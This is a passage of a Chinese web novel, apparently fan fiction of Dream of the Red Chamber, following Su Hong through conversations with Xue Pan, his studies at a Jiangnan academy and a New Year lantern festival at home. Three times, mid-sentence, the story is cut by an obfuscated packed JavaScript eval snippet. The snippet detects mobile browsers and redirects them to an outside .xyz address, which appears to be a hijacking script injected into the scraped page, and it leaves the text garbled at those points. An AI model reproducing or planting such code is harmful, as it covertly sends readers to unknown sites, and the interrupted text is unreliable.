苏鸿一笑，就听薛蟠低声说道：“我早想跟你道谢，只是怕打扰你乡试，没敢写信告诉你。先前你告诉我的事，我已禀明母亲和姨母了。我姨母很是生气，将利害细细告诉了我表姐。” 苏鸿问道：“那你表姐就依了？” 薛蟠嘿嘿笑道：“表姐只是不知轻重，如今知道利害了，也不会傻得往上撞。这府里大小眼睛几百双，什么事旁人不知道？从前也就是姨妈不太管，如今既然上心，少不了有耳报神通风报信。” 荣府也有些意思，先大太太原出身书香之家，嫁入贾家之后自然掌家理事。只是去得早，管家权才给了二房，让姨妈代管。大老爷续弦之后，本该将管家权还给大房，谁知道那位邢夫人竟不太行，便由老太太发话，管家权仍是给二房。 大房自然不满管家权旁落，便干脆带着一部分产业另外划了东花园居住，荣禧堂便留给他姨爹居住。如今荣府里正经有管家权的便是姨妈，姨妈又出手阔绰，自然媳妇丫鬟们上赶着奉承。 表姐虽也是府上备受赞誉的凤奶奶，到底只是晚辈，岂有不听话的道理。 苏鸿点头一笑，忽而又问道：“昨儿我回家时路过宁荣街，好势派的景象。我听说这宁府将军置办这些花费不少，还放话说要寻一块儿好板给那位奶奶？” 薛蟠闻言有些不自在，见门窗都开着，才低声道：“正是呢。依着规矩，杉木也就罢了，那位珍大爷犹嫌不足。那日我不接话，他还私下里问过我手上是不是有块儿樯木板，我推说时间久了，不知被存到哪里去了他才作罢。如今还寻着呢，我也不敢吭声。” 他如今亦知道轻重，这樯木板原是他父亲带给义忠亲王老千岁的，谁知道这位老千岁坏了事，便不曾来取。樯木板万年不坏，非皇亲贵胄不得受用，他自不敢轻易许人，只好封在店里罢了。 苏鸿闻言心中大喜，面上却不露分毫，笑道：“正该如此，坏了规矩可不好。只是贾将军也够破费了，可见这位奶奶为人孝顺慈爱，颇得长辈喜欢。” 薛蟠岂会不知这里头的事，只是冷笑一声。又转而叹道：“我虽不曾见过，却听妈说过这位奶奶的许多好。连她身旁的两个婢女，也自愿做她的义女，为其摔丧驾灵、吃斋祈福。” 虽说尤夫人让二婢在灵前认蓉大奶奶为母，但谁都知道认来的义女哪里会是正经姑娘的待遇。待蓉大奶奶出殡后，这二人恐怕就要在家庙中念佛诵经，了此一生了。但薛蟠又觉得，尤夫人不会无缘无故做出这些事，恐怕这两个丫头是知道些什么。 苏鸿闻言，直觉此二人便是瑞珠、宝珠。只是原文里却不似现在，可见事随时移，即使并非自己插手，事情亦能有所转圜。 薛蟠举杯敬了苏鸿一杯，笑道：“不说旁人的事，你如今可是金陵解元，我妈心里喜欢极了。先前还说一定要摆酒，大家热闹热闹，谁知婶婶竟说不摆酒庆祝，只私下里小聚。” 苏鸿笑道：“伯母的心意我也知道，只是我在家待不了多久就要南下求学了。我父亲同江南省自安书院的单山长极好，便将我荐了过去。我父亲说要我行万里路，好生历练一番，自然不敢不遵父命。” 薛蟠还是头一次听说这事，闻言有些惊讶。他常日里混在纨绔公子堆儿里，长辈们别说放他们出去游学历练，每日见不到他们都要一直打发人来问。连回家稍微迟了些，都要骂几句。 他笑道：“老师对你也太严格了，不过这也是好事。现在我想出去学着做生意，我妈还不肯呢，生怕我出去遇到什么事，再被人哄骗了。” “行商与求学是两回事，”苏鸿笑道，“你们做生意走南闯北的，尤其你也没什么行商的经验，贸贸然出去恐怕不好。不如给你叔父捎信，让他下次来京时把你一并带走，伯母定然放心。” 薛蟠闻言却笑道：“叔父平日里忙着自家的生意，还要分心帮我照看我们家的买卖局，哪里能忙过来。我现在不过游手好闲罢了，只管着京里的买卖局，其余的就随他们去了。” 他隐约知道这里面有事，叔父不许他管也并非是想侵吞家产，只是不想把他也牵扯进去。叔父如此拳拳爱护之心他虽知道，却难免苦闷些。 苏鸿笑道：“这有什么，做买卖一通百通，你只把京里的生意理顺了，日后出去了也不怯场。老总管、伙计们又是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285829|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现成的，只管多请教就是了。只是我瞧你近来似乎发福了，难道停了练拳脚了？” 薛蟠连连道：“不敢，老师的吩咐怎么敢忘。只是最近好东西多，我有些贪嘴，这才瞧着发福了。” 苏鸿点头道：“大哥哥别忘了我们两家是怎么结缘的，世上总有意想不到的蹊跷事。我们家素来与人为善，却好端端招惹了一帮匪徒。更别提你们行商压货，随身带着巨额钱财，更是劫匪们眼中的肥肉。” 见薛蟠听进去了，他才又道：“所以行商时，往往都带着大批镖师，还有自家养的壮仆伙计。但把自己的身家性命全然托付给他们亦然不妥，究竟还是要大哥哥自己有本事才好。不止如此，哪里有劫匪，哪里没有，谁劫财，谁害命，都得心中有数才好。” 薛蟠闻言叹道：“好吧好吧，都是劝我的话，我听着就是了。对了，你去自安书院读书，预备要多久才回来，不参加今年春闱了？” “若无意外，会参加下一次春闱，”苏鸿思绪渐渐飘远，“未来两三年，只怕都会在江南省待着，但过年自然会回来一阵。” 薛蟠虽知道苏家不是言而无信的人，但江南美女如云，他就怕苏鸿见了世面之后就学坏了。虽说大家子三房四妾的多着呢，但宝钗嫁给苏鸿本就是下嫁，难道还要受妾室的委屈不成？ 只是他也不知该如何开口，显得颇有些犹犹豫豫的。 苏鸿见他只顾着喝闷酒，不由心中奇怪，问道：“大哥哥这是怎么了？咱们师兄弟间还有什么不好说的，只管说就是了。” 薛蟠知道他自己也不是什么好鸟，也不觉得他有立场去劝说苏鸿。但想到宝钗的终身幸福，还是试探道：“听说江南笙歌燕舞，其繁华尤胜京城，只可惜我没有见识过。” 苏鸿有些奇怪地看了薛蟠一眼，笑道：“京城胜在雄壮伟岸、气势磅礴，我虽没去过江南，但若论繁华，南京、苏州、扬州等地，哪一个不是胜过京城三分？这次我去了，也将见闻写给你看。或许等你再大些，你也要下江南做买卖呢。” 薛蟠见他没反应过来，也猜到苏鸿还没开窍，连忙止住话题。他嘿嘿笑道：“那就说定了，可别入了书院就不理我了。这些年我也学着打理生意，我看妈也有些松动的意思了。到时候再寻几个靠谱的镖局，我也出去闯一闯。” 二人说了会儿话，苏鸿才告辞离开。回家之后，见自己隔壁院子里的庄稼菜蔬长得极好，才想到自己还有几位教导种植的师傅。只是自己即将南下，倒也没有时间再与他们学习，便回明苏母。 何况他学的种植手艺虽不到家，但谁让须弥空间里的土质太好，种什么活什么。他掐着日子浇水、收获就行，连施肥也不必。如今唯一的烦恼就是作物成熟太快，他夜里还要赶着收获、晾晒。 苏母笑道：“这不妨事，等这一茬收获了仍叫他们回庄子上就是。回头在这院子里种上花草，也是个赏景的去处。” 苏鸿并不在意这院子最后的状况，索性他的目的已经达到了。因而听苏母说要改种花草，他并无意见。 26. 抵达 苏鸿本想在家中多待些时日，只是没想到接二连三有人来府上拜访。苏父的同僚不必说，其他有着拐弯抹角关系的人都带着自家子弟，名义上是拜访，实则是想要他指点文章。 苏鸿不堪其扰，但碍于情面也不好拒绝，只能强忍着不耐。见情况有愈演愈烈之势，他果断收拾行囊提前南下。因此次仅有他一人离开，便不曾带多少箱笼，只带了几身随身换洗的衣物、干粮、应急药丸和几张银票。 其余过冬的大毛衣服等，则从驿站直接寄到江南。 当然，这也只是明面上而已。既然是单人出行，苏鸿也不至于委屈了自己。他悄悄换了些碎银子到街头去买些糕点、肉干、包子等，各种想带而不方便携带的物品，全都买了新的塞到须弥宝戒中。 乘船一月有余，他顺利抵达江南，包袱款款乘车到了自安书院前。因他长得白净，一身书卷气，旁人见他来书院也不以为怪，引他入院等候。又见他拿出带着山长印鉴的书信，虽神色有些怪异，却还是万分热情帮他通传。 他们作为书院的一员，对单山长并无意见，甚至颇为佩服。但若是做他的弟子……单山长性格确实有些怪癖，行为与众不同，也不知这位小苏兄弟能否消受。 苏鸿心中奇怪，不由升起几分警惕。但想到这位单山长与他父亲交好，总不至于太过离格。 不多时，便有个膀大腰圆的青年男子过来，上下打量了他几眼后笑道：“是苏师弟吧？师父要见你，请随我来。” ？ 苏鸿听他称呼单山长为师父先是一怔，随即反应过来，连忙答应。只是他走在这位壮汉身后，见他至少能装下一个半他，不由心中打鼓。 虽说儒生亦要学习骑射，但大多不求精湛，只是弓马娴熟便可。这位师兄怎么却练成这般模样，看上去更像是武人，倒不像儒生了。难道那位单山长格外擅长武艺，父亲送他来强身健体不成？ 纪花明见苏鸿面上淡定自若，眼底的纠结疑惑却好像要溢出来一样，眼中悄然划过一丝笑意。走过一小段回廊，他们就到了单山长门前。苏鸿垂手立在门前，等着旁人通传后再进去。 待纪花明出来唤他，他才小心翼翼踏入屋内。见蒲团上坐着位须发皆黑、一身道袍的中年男子，便知定是父亲给自己寻到的老师单归儒。他连忙上前见礼：“学生苏鸿，见过山长。” 离得近了，总觉得屋里飘着一股烟火气，却不知从何而来。他掩下心绪，毕恭毕敬见礼。 单归儒却并未听到，看着苏鸿周身泛着的金光有些不可置信般用袖子揉了揉眼睛。他定睛看去，方才的金光却似是错觉，复观其面相，却觉云雾缭绕，难窥全貌。 他心中啧啧称奇，盯着苏鸿出神。纪花明见他老毛病犯了，连忙悄悄戳他一下，单归儒这才回神。他抓着胡子嘿嘿笑道：“快起来吧。别叫什么山长了，你爹把你托付给我，直接管我叫老师就行。” 苏鸿沉默一瞬，连忙从随身带着的小竹篮中取出早就预备好的束脩礼，重新磕头拜师。纪花明不知从何处取来一杯茶，苏鸿摸着冰凉的茶碗只觉良心不安，但还是一咬牙奉给单归儒。 单归儒果然不在意，接过之后仰头喝下，就将残茶递给纪花明。他笑道：“行，我就认下你这个弟子了，起来吧。” 说着便从蒲团上起身，苏鸿连忙去扶，请他到上首坐了才垂手立于一旁。单归儒看了眼苏鸿，笑着指向纪花明道：“这是你师兄。” 待二人互通姓名后，单归儒就吩咐道：“你虽然初来乍到，但也是金陵省解元，直接跟着你师兄在甲字班学习。待会儿让你师兄带你去给各位夫子见礼，缺什么直接找你师兄要就行。为师晚间都在后山，你有事就提前过来，别错了时辰。” 苏鸿一一应下，见单归儒并没有别的吩咐便跟着纪花明一同出去。苏鸿心中虽好奇师父晚间在后山做什么，但他素来不是多嘴之人，这样的小事在这里待得时间长了自然会知道。 纪花明见苏鸿虽说比他小两岁，却能这样沉住气，心里也不由喜欢他几分。便拍着苏鸿的肩膀笑道：“师弟不必忧虑，书院里诸位夫子都和蔼博学。你我同门师兄弟，有事只管来寻我。等会儿到了校舍，我带你领几套新的被褥和衣服。” 苏鸿竖耳听着，仔细记下他说的书院里的规矩，对书院也少了几分陌生。只是书院里来往的学子并不多，看着颇有些寥落之感。纪花明见他四下观察，便笑道：“书院只收举人，临近会试，不少师兄弟都预备上京了。” 他虽说今年也高中举人，但并不打算现在就参加会试。朝中局势太乱，也许缓一缓会更合适。 恰巧走到了夫子们的院舍，二人便不再闲聊，低眉敛目进去拜见夫子。众夫子早听单归儒说今年金陵省解元会到他们书院来，原以为要等年后，不想现在就到了。见苏鸿举止文雅、仪容不俗，对他已然有了三分喜爱。 苏鸿也暗暗观察自安书院的诸位夫子，心中也觉纳罕。他初来江南时就跟人打听过，书院的诸位夫子均为进士出身，也只招有举人功名的学生。每年会试，都有不少学生进士及第，极为光耀。 今日他见过的这十来位夫子或是潇洒不羁，或是儒雅俊逸，均非凡人所比。此处有如此良师益友，怪不得父亲放心让他来此处求学。 纪花明见他温文有礼，应对得当，对这个突然冒出来的小师弟也放心许多。他又亲自领着到校舍、藏书楼等处，确认苏鸿不会在书院中迷路后，便带着苏鸿一同到膳房用饭。 此时正是膳房人最多的时候，每每有相熟的学子打招呼，纪花明便笑着将苏鸿介绍给他。不过一顿饭的功夫，苏鸿便将这些人认了七八成。只是正用饭时，忽然听到后山方向传来几声轰鸣，苏鸿被惊地站起身，脸色有些发白。 他在书上看到过，地龙翻身就是这样的轰鸣声，还会地动山摇。只是从不曾听过江南地界也有地龙翻身，难道他的运气这样不好？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285830|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却见膳房众人恍若未闻，见他站起来反而纷纷投来诧异的目光，不由让苏鸿怀疑是不是只有自己听见了。纪花明见苏鸿受惊，连忙拉着苏鸿坐下，安抚道：“师弟别担心。师父喜好炼丹，晚间无事时常去后山开炉。咱们院里过节时的烟花炮竹都用不着买，师父自己就会做，回头也送你一些玩玩。” 苏鸿被拉着坐下，有些艰难地问道：“师父他喜好炼丹？还自己做烟花玩？” 他看出单山长对道学较为精通，但却没想到在炼丹上也有研究，还自己做烟花……但想到不是地龙翻身，还是松了口气。谁还没个爱好了，喜欢炼丹也没什么大不了的，他还喜欢耕种呢。 纪花明见苏鸿并未对师父的爱好置喙，笑道：“师父做的烟花比市卖的还好，各种颜色都有。还有几种会炸出花儿来的，回头你见了就知道了。不过寻常别提这些，这都是师父练不出来丹药时才顺手研究的。” 苏鸿点点头，失败后的作品嘛，他懂。 虽然在书院里炼丹听起来有些奇怪，山长带头□□也很奇怪，但想到民间这点儿火药连城墙皮都轰不破，苏鸿也就放平心态了。毕竟官府都不管这事，想来也没什么大问题。 苏鸿思绪拐了个弯，很快又被拉回来，用饭后就赶回校舍休息。纪花明本想着带苏鸿出去逛逛，但想到苏鸿一路过来舟车劳顿，便也十分体贴地放他回去，打算过几日再约苏鸿。 苏鸿急着赶回校舍休息并不为别的，正是因为他空间中的作物正值成熟，需要采摘。虽说不采摘时，这些作物会停留在最成熟的时刻，并不会进一步腐烂，但苏鸿却不想任由这些土地荒废。 放眼看去，眼前黑油油的土地被泾渭分明地分成了几部分。有菜、有药材、有果木、有花草，还有占比最大的五谷。这里已不复最初时模样，到处是绿油油、金灿灿的模样，一阵微风吹来，带来的是泥土和粮食的芬芳。 苏鸿坐在地上静静欣赏了一会儿，才用布巾扎紧衣裤，扛着镰刀下地干活。虽说有些疲惫，但看着不远处晾晒场上被自己堆放的粮食，苏鸿只觉得动力十足。 不只为收获的快乐，苏鸿每日高强度学习后再做这些重复、无需动脑的活计时，他都会从心底感到满足与安逸。何况他也很想知道，仙境中长出来的五谷杂粮与凡间的有何差异。若果然更好，他也能紧着父亲和母亲，让他们也能借此保养身体。 当然，他也清楚自己有几斤几两。若不是仗着这仙境里种什么活什么的奇异之处，以他浅薄的见识，恐怕就如靖节先生一样，落得草盛豆苗稀的结果。苏鸿心里胡思乱想着，手上的动作却也不慢，很快就收完了一垄地。 苏鸿直起身，揉了揉有些僵直的腰身，不由暗暗自嘲。那些农人种了一辈子的地，艰辛不必多说。他却这样娇贵，省了前期多少浇水、施肥的功夫不说，连这点收获的苦都吃不了。 想到此处，苏鸿也有些出神，很快又收回思绪。 27. 归家 苏鸿来到书院后，有师父和师兄在，不过二三月便与众夫子、师兄弟混熟了。自安书院中，夫子循循善诱却不拘泥，学生博学多才却不傲慢。每逢休沐，便与一众师兄三五成群到书院外游玩，或吟诗作对，或踏歌起舞。苏鸿时不时也随众唱和，居于此间如鱼得水，颇为自在。 是日，腊尽春回，春风和煦，城内外一片桃红柳绿、莺歌燕舞。纪花明见此盛景便邀苏鸿出城踏青游水，共赏春色。苏鸿自然答应，二人便于休沐日骑马出城，直奔颇负盛名的沁月湖。 在城内时，二人不好纵马，便只骑在马上缓步慢行。出城之后，便是大道坦途，二人方放马赶路。不过一时片刻，未见湖水，先闻花香。苏鸿不由精神一振，朗声笑道：“师兄！好一阵香风！” 纪花明大笑着喊道：“若不好，怎么敢邀你赏玩。快快快，说好了谁后到就罚诗一首！” 不待苏鸿反应过来便一夹马腹，马儿四蹄生风，烟一样从苏鸿身边飞过。苏鸿连忙跟上，正要喊时却吃了一嘴沙子，连忙紧闭双唇。他马术本就不如纪花明精湛，又落后他一步，自然是怎么也赶不上。 待苏鸿绕过最后一道弯时，眼前豁然开朗，纪花明正在此处等他。苏鸿却不曾注意到，只是怔怔看着眼前美景。 立于高处向下望去，沁月湖形似满月，水如明镜，微风吹拂后的水面便碎金般折射出耀眼的光芒。湖畔则栽种着成片的牡丹、芍药等，百花争妍，姹紫嫣红。 来此处者非独儒生，亦有寻常人家、闺阁女子结伴出游。湖畔花丛中三三两两的人群或坐或立，围在一处赏花赏景，间或吟诗作对，一派悠然自得。 纪花明见他出神也不催促，将自己的马儿栓在一旁便躺在山坡上，双手枕于脑后。苏鸿回过神，放马儿自去吃草，便在纪花明身边盘膝坐下。纪花明微微阖目，得意道：“比之京城如何？” 苏鸿笑道：“不如江南多矣。怪道都说江南风光旋旎，果然如此。” 虽说京城乃天子脚下，亦是第一花柳繁华处，但处处透着追名逐利之风。所到之处、所见之人，达官显贵自不必说，连百姓也争荣夸耀。可来到江南，许是因其富足又文风极盛，来往诸人均能安居乐业，悠游自在。 纪花明一笑，忽而翻身跃起，反手拾起一根枯枝舞剑。他生得膀大腰圆，比起儒生更像武者，如长虹游龙，大开大合间带来阵阵破空声。苏鸿立于一旁，随手摘下一片柳叶，迎着风声轻声吟奏。 一舞终了，身后忽然传出清脆的击掌声，苏鸿和纪花明连忙转身去看。便见一白面书生立于身后不远处，合掌赞道：“二位兄台如此闲情逸致，小弟欣羡。” 苏鸿见了他却是一怔，连忙迎上去拱手道：“是卫家兄弟？你常日在都中，怎么来江南也不说声，我好给你接风。” 他们在薛家的宴席上见过几次，因志趣相投，见面时也能说得上几句话，算是君子之交。 卫若兰得意一笑，从腰间抽出折扇摇了摇笑道：“这也不必，我跟着父亲来的。今儿出来逛逛，远远看见你们一人舞剑、一人吹叶便觉不凡，果然是你。不知这位兄台……” 纪花明本是喜好交际之人，见是师弟的熟人，这位卫兄弟又生得仪表不俗、风度翩翩，便也连忙上前见礼。卫若兰虽亦王孙公子，却全无骄横纨绔习气。他本是武将家的公子，见纪花明生得威武又斯文知礼，便也起了结交之意。 三人厮见过，便盘坐在山坡上谈笑。 苏鸿因问起都中有何新文，卫若兰便笑道：“你不知道？京中现今第一热闹事便是椒房省亲，从年底直到现在都还是热闹非凡。市面上凡是上好的建材、香料、布帛都被买空了，难道没人来江南采买？” 苏鸿闻言便知是贾妃省亲一事，心中盘算时日，正是自己刚到书院时发生的事。原文中时间模糊不清，他又有正经事要忙，倒也未曾关注贾家的事。他笑道：“只听薛大哥哥说了两句，倒不知底里。” 卫若兰便道：“去年年底，贾大姐姐被恩封凤藻宫尚书，加封贤德妃。谁知没过几日，今上下旨准许椒房眷属入宫请候看视。二位老圣人又下旨凡有重宇别院之家，准许椒房出宫省亲。圣人如此隆恩千古未有，谁肯落于人后？” 纪花明闻言暗暗咂摸，虽说他们知道有此一事，但也只是家书、邸报上寥寥几句，并不知详情。可只听两句，他便觉背地里腥风血雨，便又追问几句。卫若兰心胸宽阔，加之年龄尚小，浑然不觉省亲一事有异，因而有问必答。 苏鸿盘坐在侧，虽不动声色，心中却泛起些许凉意。 今上并无实权，却也不是泥捏的木偶。他主动将忠于太上皇的荣国府家的姑娘封妃，紧跟着下旨允许后妃家眷入宫请安，想必是在向太上皇示好。只是太上皇允许后妃省亲的圣旨却像不领情一样，借着今上搭起的台子施恩。 古往今来，骨肉相亲、天伦至性无法磨灭。那些达官贵人因种种原因将女儿送入皇宫，但岂有不思不念之理。何况既能狠下心让女儿入宫，生性便少不了攀附夸耀。如今得蒙皇恩，每月有两日入宫探看虽好，终究不如请女儿归家省亲来得亲近、荣耀。 如此一来，夸赞今上仁孝者虽有，终究不如太上皇隆恩深重。只此一事，便知太上皇与今上父子之间时好时坏，互有妥协，却又暗暗较劲。可见太上皇权欲之深，连丁点纯孝之名都不愿意让今上沾到。 而贾家……其迎贾妃省亲固然因骨肉天伦，却也有意无意站在太上皇身后。难怪日后失势如山倾，颓势不可挽。 苏鸿和纪花明虽心中藏事，但到底少年心性。何况距离下次会试还要两三年功夫，倒也不必急着掺和官场上的事。到底丢开那些纷纷扰扰，围坐谈笑，说些旁的新文故事。 与卫若兰别后，苏鸿才想起卫若兰所说今年上好的香料、建材等被高价哄抢一事，不由扼腕没能种些香草树木。虽有花卉，却是为制冷香丸所用，不能卖出。所幸为时不晚，苏鸿打定主意回书院后就找些香草种下，若再有这等机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285831|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会也不至于错过。 他如今所用的银钱都是府中给自己的分例和豆腐坊的盈利。他素日勤俭，倒不为银钱发愁。但他早已意识到这个世道无钱寸步难行，便是为了将来不至于被逼到贪污敛财，也得想办法自己置办产业。 这般想着，他便将目光放到功德宝轮上。随着他持之以恒搭棚舍粥、赠衣捐粮，功德如今缓缓涨到了贰佰出头。只是目光所及，都是什么《水泥》《制镜》云云，不知是什么东西，苏鸿也迟迟无法下定决心置换。 苏鸿目标既定，便悄然采买了各色香草种于须弥宝戒，特意请教了花圃掌柜如何种植。他日复一日更加忙碌，魂体日日耕种不辍，连带着身体也结实许多。转眼便到年底，苏鸿思及一年未见亲友，便告假归家。 单归儒极为喜爱苏鸿聪慧稳重，炼丹时也常常让他侍立身侧。见他告假归家，虽心中不舍却也大方准假，只叮嘱年后要及早归来。 不过一月功夫，苏鸿便北上入都。风信日日在码头迎候，好容易接到苏鸿便喜不自胜，连忙将他带回的几个箱笼装车。他絮絮叨叨说着别后诸事，又笑道：“腊月底封笔，老爷今日就在家，见爷今日回来必定高兴。” 苏鸿点头一笑，眼下虽是寒冬，但他身强体壮倒用不上轿子，径直上了马入城。片刻功夫，他们便到了门前。门房见是苏鸿回来，连忙招呼着人将车马让进去，派了腿脚快的小厮去通报。 待苏鸿换了衣裳到正房请安时，就见苏父、苏母早在房内等候。苏鸿眼眶一红，三两步走到跟前撩袍跪下磕头：“不孝子给父亲母亲请安。” 苏母早一把拉起苏鸿搂在怀里，见他长得越发健壮，心中一酸便有泪珠滚下。苏鸿忙看向苏父求救，一边安抚道：“母亲快别哭，岂不折煞儿子。” 苏父上前将苏母搂进怀里，拍拍她纤瘦的脊背笑道：“孩子没回来你想得紧，回来了你只搂着哭，也忘了问鸿儿吃饭了没。一年里鸿儿人没回来，信件几日便有一封，物件儿也没少送，还想不够？” 鸿儿在外也未曾忘了父母，四五日便有信件送到家。物件儿就更杂了，从江南的米粮、布帛乃至有趣的玩物，无所不送。如今那些玩物都还摆在房里，他们夫妻二人闲时日日赏玩。 苏母红着眼眶啐了苏父一口：“还说我呢，你把鸿儿的信都盘包浆了，拿着都粘手。” 众人闻言不由笑出来，方才的伤感便悄然散去。苏鸿笑道：“既然如此，日后一天写一封也不嫌少，只怕父亲母亲还觉得我太啰嗦了。” 苏母笑着捶他，连忙吩咐厨房上菜热酒。苏父又命人请甄家夫妇来一同宴饮，吃顿团圆饭。甄士隐夫妇本不欲打搅他们骨肉团聚，早说了这些日子不去那边吃饭。不想苏父苏母早将他们视为兄嫂至亲，如此欢聚时刻自不能少了他们。 苏鸿席间说了不少江南趣事，苏父、苏母等虽烂熟于心，重听苏鸿言说亦是欣喜。又见他一身莲青色的冬衣，越发显得玉树临风、挺拔俊秀，心中俱是欣慰不已。 28. 明月 办过冬事，苏鸿稍微歇息几日，将豆腐坊的账目盘查清楚，见刘大牛将豆腐坊经营得井井有条便放下心。又想起正月二十一是宝钗的十五岁的生日，正是将笄之年。虽用不着他为其庆祝，但总该送上贺礼。 时下，并不流行为他们这样年纪不大、尚未成婚的少男少女大办生日。长辈不过送些新衣、玩物，平辈间不拘字、画和针线等，略尽心意即可。他思前想后，便用江南新进的素绢制了扇面，画了幅月下雪松图。 苏母见了他的贺礼并未说什么，只是笑着放进自家的贺礼中，预备到时一起送去。从前宝钗生日时，不过她们娘儿们几个小聚热闹一番。今年是宝钗将笄之年，却又正逢贾贵妃省亲之喜，还不知是什么章程。 * 本朝惯例，正月十三日至十六日永夕，金吾不禁。 民间自十三日晚便可观花灯、赏火戏，到十五正日子时，甚至今上也会携朝中重臣、皇室贵胄登楼赏灯，与民同乐。 正宫门前的大道两侧将挂满精巧华丽的内造宫灯，盏盏皆是水晶琉璃、绸绫素纱所制，镶金嵌玉，烛光辉映极为夺目。每逢此时，不拘达官显贵亦或平民百姓，皆可汇聚于此赏灯观景，共沐天恩。 只是今年除却上元佳节之喜，今上又御笔朱批，恩准贾贵妃等椒房正月十五归家省亲。既是后妃省亲又值上元节，正是都中头一件热闹事。从初八起，京城大小街道便有太监来往探查，指点诸家礼仪，一并忙乱到十四日才俱都妥当。 街口巷尾，百姓三三两两汇聚在一处闲谈。虽不能靠近省亲别墅，但远远隔着围墙一望，亭台楼阁无一不华美精致。便是白日，园内也燃着五彩花灯，香烟氤氲，连树木都用通草绸绫装饰了，一派繁盛豪奢景象。 苏鸿视察产业时，隐隐绰绰听买家们说些闲话，心中也有些计较。 后妃嫁入皇室，在其家人面前自是君臣有别。何况后妃省亲是千古未有之事，各家争奇斗艳，更不肯落于人后。倘若银子花少了，怠慢自家女儿不说，连御史也会参奏不敬。 以荣府做派，自是极尽豪奢，花银如流水。早几年那周瑞的女婿冷子兴便说贾家外头的架子未倒，内囊却尽上来了。如今看着，却似仍有余力，果然是世代簪缨之族，底蕴深厚。 可这恩典背后，苏鸿总觉得有些说不清道不明的意味。虽是非常喜事，亦如可卿仙子所言乃烈火烹油、鲜花着锦之盛，但一次省亲便不知花费多少银钱。贾家便是再豪富，也禁不住这样的花销买虚热闹。 他拧眉细思，忽而听见风信轻声喊他：“爷，外头冷，快别在风口里站着。太太方才叫人传话，说晚上叫了一班昆腔小戏，让爷早些回去团圆呢。” 苏鸿闻言回过神，笑道：“那就回去吧，你让伙计们也喂了驴子就早早家去，留一个人看着灯烛花火。大晚上都跑去赏灯观景了，想必也没人过来。” 吩咐完，苏鸿便带着人赶回家中。他们府上自然也挂了不少花灯，花鸟鱼虫、古今传说样样齐全，只是因尚未到落日时分，不曾点燃。苏鸿到了正院，正见苏母和封娘子母女拢着袖子执笔画灯，见他过来连忙招呼。 府上虽说采买了些花灯，但苏母和封娘子临时起意，便着人买了不少空白花灯来题画作乐。又想着可以在上面写些灯谜来猜，更是兴致勃勃。 苏母笑道：“我和你伯母画着，你赶紧把这几个挂到檐下去。我叫你父亲去制灯谜了，你也好好想几个，到时候一起写上去咱们猜灯谜玩。” 苏鸿闻言也起了几分兴致，笑着上前将花灯挂好。甄英莲见他挂好，握着画笔上前抬头看，笑着指了指贵妃醉酒花灯道：“大哥哥，这盏是婶婶画的，我瞧着和姐姐有几分相似呢。” 苏、甄两家虽非亲戚，却也是通家来往，感情亲密，因而苏鸿与甄英莲亦兄妹相称，不曾避讳。苏鸿闻言，目光不由落到那盏花灯上。画上贵妃姿质丰艳，面带红意，眉宇间却有着淡淡的愁绪，醉酒哀愁之态跃然纸上。 他却不敢细看，连忙收回视线。只是心中暗道，杨妃醉酒之态娇憨丰艳，此处倒可能有几分相似。可宝钗生性豁达，想也不会如杨妃一般因君王薄幸而哀怨，自叹自怜，定是…… 苏鸿连忙收住思绪，佯装淡定笑道：“母亲喜欢宝妹妹，笔下或多或少会带出来。倒是你，不赶紧去画花灯，在这儿捉弄起我来了？” 甄英莲本是无心之言，奈何听者有意，便只抿唇一笑。她拢着袖子到封娘子身边帮她研墨，戳了戳苏母和封娘子，三人抬头见苏鸿耳根微红便都偷笑起来。 虽有男女大妨，但在场诸人皆饱读诗书之人，岂会不知知慕少艾一说。何况又是正经未婚夫妻，发乎情、止乎礼，本也无可非议。见苏鸿流露出少年意态，众人只觉有趣。 苏鸿本是不好意思，见众人笑话他，面颊上骤然升腾起一片红色，正月天里，他紧张到身体发热，额上竟沁出些许汗珠。苏母只是偷笑，见苏鸿这样羞赧，竟忍不住笑出声来，一时屋内众人笑作一团。 苏鸿越发觉得无地自容，待要离开，又觉得是掩耳盗铃。只好以衣袖遮面一溜小跑，在廊上立着以手扇风，觉得不热了方才踱步回了正房。苏母眼中满是笑意，见他回来便努嘴儿道：“别躲懒，快去写灯谜来，不然晚上罚你作诗。” 苏鸿唯唯应了，略想了想便提笔在一旁的空白花灯上写下几个灯谜，起身挂在檐下。众人说笑时，外头便有人传话，说晚饭和小戏已经预备好了。他们这才连忙收拾了残局，命人将花灯和灯谜都挂起来，才同苏父、甄士隐会合了用膳。 苏鸿见有人打岔也松了口气，端端正正坐在一侧，少了些往日的活泼。苏父有些奇怪地看了他一眼，见苏母朝他微微一笑便知无事，也不过问。 